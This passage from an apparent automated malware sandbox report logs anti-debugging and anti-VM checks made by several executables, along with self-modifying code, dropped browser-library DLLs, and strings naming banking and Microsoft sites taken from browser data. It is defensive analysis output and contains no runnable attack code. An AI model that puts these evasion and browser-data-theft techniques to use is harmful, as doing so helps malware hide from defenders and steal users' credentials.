Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06DFB second address: B06DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06DFF second address: B06E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F6EC0DB081Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06E0F second address: B06E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06E13 second address: B06E1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6EC0DB0816h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B0556C second address: B05572 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B05572 second address: B05578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B05578 second address: B05582 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B05582 second address: B05586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B05586 second address: B0558A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B0570B second address: B0572B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0824h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007F6EC0DB0816h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B0572B second address: B05747 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F6EC0DB065Eh 0x00000014 jg 00007F6EC0DB0656h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B05747 second address: B0575D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6EC0DB081Eh 0x00000008 jc 00007F6EC0DB0816h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B05DD8 second address: B05DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B05F4F second address: B05F57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ACC5E7 second address: ACC5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ACC5F2 second address: ACC5F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ACC5F6 second address: ACC5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06877 second address: B06881 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6EC0DB0816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06881 second address: B0688D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F6EC0DB0656h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B0688D second address: B068BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0827h 0x00000007 jmp 00007F6EC0DB081Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jg 00007F6EC0DB081Eh 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06A2A second address: B06A2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06A2E second address: B06A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06CBF second address: B06CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB065Eh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06CD1 second address: B06CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B06CD5 second address: B06CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B09CE3 second address: B09CFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6EC0DB081Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B09CFB second address: B09CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B09CFF second address: B09D17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F6EC0DB0818h 0x0000000e popad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B09D17 second address: B09D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ADB84F second address: ADB855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ADB855 second address: ADB859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ADB859 second address: ADB875 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0828h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: ADB875 second address: ADB87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AD30E9 second address: AD30ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AD30ED second address: AD310A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F6EC0DB065Eh 0x0000000f jnl 00007F6EC0DB0656h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AD310A second address: AD310E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AD310E second address: AD3112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AD3112 second address: AD3118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: AD3118 second address: AD312F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6EC0DB0662h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B0DE54 second address: B0DE58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B0DE58 second address: B0DE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B0DE5E second address: B0DE64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B13080 second address: B1308C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6EC0DB0656h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B131BF second address: B131C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B1345A second address: B1346F instructions: 0x00000000 rdtsc 0x00000002 js 00007F6EC0DB0656h 0x00000008 jp 00007F6EC0DB0656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B15A93 second address: B15A9D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B15A9D second address: B15AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6EC0DB0656h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	RDTSC instruction interceptor: First address: B15AA7 second address: B15AB1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6EC0DB0816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D8FB99 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F37350 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F4BA44 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D8FB60 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FCBD8A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Special instruction interceptor: First address: 96C68E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Special instruction interceptor: First address: B36FEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 35C68E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 526FEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	Special instruction interceptor: First address: EB4AB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	Special instruction interceptor: First address: EB4B8A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsAEBGHDBKEB.exe

Code function: 22_2_052E0774 rdtsc

22_2_052E0774

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6708	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6448	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3984	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4776	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6284	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5064	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6508	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2748	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2748	Thread sleep time: -1980000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2748	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsAEBGHDBKEB.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C98C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 0000001C.00000002.3463857933.00000000004DD000.00000040.00000001.01000000.0000000E.sdmp, d32823a5a7.exe, 0000001E.00000002.3465417378.0000000001040000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3467235334.0000000001308000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3467235334.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2741444292.0000000000888000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: skotes.exe, 0000001C.00000002.3467235334.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y>
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2743696751.0000000000F1B000.00000040.00000001.01000000.00000003.sdmp, DocumentsAEBGHDBKEB.exe, 00000016.00000002.2791075861.0000000000AED000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2844198551.00000000004DD000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2846444586.00000000004DD000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.3463857933.00000000004DD000.00000040.00000001.01000000.0000000E.sdmp, d32823a5a7.exe, 0000001E.00000002.3465417378.0000000001040000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: skotes.exe, 0000001C.00000002.3467235334.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}*@$

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsAEBGHDBKEB.exe

Code function: 22_2_052E0774 rdtsc

22_2_052E0774

Source: C:\Users\user\Desktop\file.exe

